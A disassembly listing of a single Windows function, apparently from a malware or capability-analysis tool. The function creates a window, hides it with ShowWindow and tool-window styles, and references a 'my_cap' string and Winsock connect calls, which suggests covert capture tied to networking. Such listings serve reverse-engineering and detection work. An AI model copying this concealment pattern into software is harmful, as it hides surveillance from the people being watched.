Function at 0x1001b8c0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 4], 0
mov dword [ebp - 8], esp
push 0
xor eax, eax
call dword [sym.imp.USER32.dll_GetDC]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001b8fe
push 0x70
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esp
push dword [ebp - 0xc]
xor eax, eax
call dword [0x100e6b99]
nop
nop
cmp dword [ebp - 0x10], esp
je 0x1001b92d
push 0x70
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], esp
push 0
push dword [ebp - 0x14]
push 0x1e0
push 0x280
push 0
push 0
push 0x50000000
push 0x100d520e
xor eax, eax
call dword [0x100e6b9d]
nop
nop
cmp dword [ebp - 0x18], esp
je 0x1001b97f
push 0x70
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [0x100e6995], eax
mov dword [ebp - 8], esp
push 0
push dword [0x100e6995]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001b9b8
push 0x98
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 8], esp
push 0x80
push 0xffffffec
push dword [0x100e6995]
xor eax, eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001b9f1
push 0xb7
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 8], esp
push 0x80
push 0xfffffff8
push dword [0x100e6995]
xor eax, eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001ba2a
push 0xe3
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 8], esp
push 5
push dword [0x100e6995]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 8], esp
je 0x1001ba5e
push 0x10f
push 0x403d53d
push 6
call fcn.100b8c4b
add esp, 0xc
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push 1
push 0
push dword [0x100e6995]
call fcn.1001bccf
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x100d53ce
push reloc.WS2_32.dll_getpeername
push 0
push 0x100d977d
push 3
mov ebx, 0x10
mov eax, 0x100c5d80
call fcn.100b9790
add esp, 0x28
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.1001be3d
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1001badf
push ebx
call fcn.100b8c45
add esp, 4
mov eax, str.my_cap
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
call fcn.10010832
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1001bb03
push ebx
call fcn.100b8c45
add esp, 4
push 0x80000301
push 0
push dword [0x100e6995]
push 0x80000301
push 0
push 0
mov ebx, 6
call fcn.100039cf
push 0x80000301
push 0
push dword [ebp - 0xc]
push 5
mov ebx, 0x18
mov eax, 0x100c3930
call fcn.100b9790
add esp, 0x40
push 0x80000301
push 0
push 0x3e8
push 1
mov ebx, 0x1c
mov eax, 0x100c34e0
call fcn.100b9790
add esp, 0x10
push 1
push 0
push 1
push 0x1e0
push 1
push 0x280
push 1
push dword [0x100e6995]
call fcn.1000e946
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push 1
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
push 2
lea eax, [ebp - 8]
push eax
call fcn.1000f7be
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1001bbcc
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1001bbdc
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push str.110014
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 8], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x1001bc10
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0
mov eax, 0x100c5930
call fcn.100b9790
add esp, 0x10
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
push dword [ebp - 8]
mov ecx, 2
call fcn.1000173e
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1001bc51
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1001bc61
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x14], 0
push 0
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
lea eax, [ebp - 0x10]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x1001bca6
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x1001bcb6
push ebx
call fcn.100b8c45
add esp, 4
call fcn.1001c6f4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1001bccb
push ebx
call fcn.100b8c45
add esp, 4
mov esp, ebp
pop ebp
ret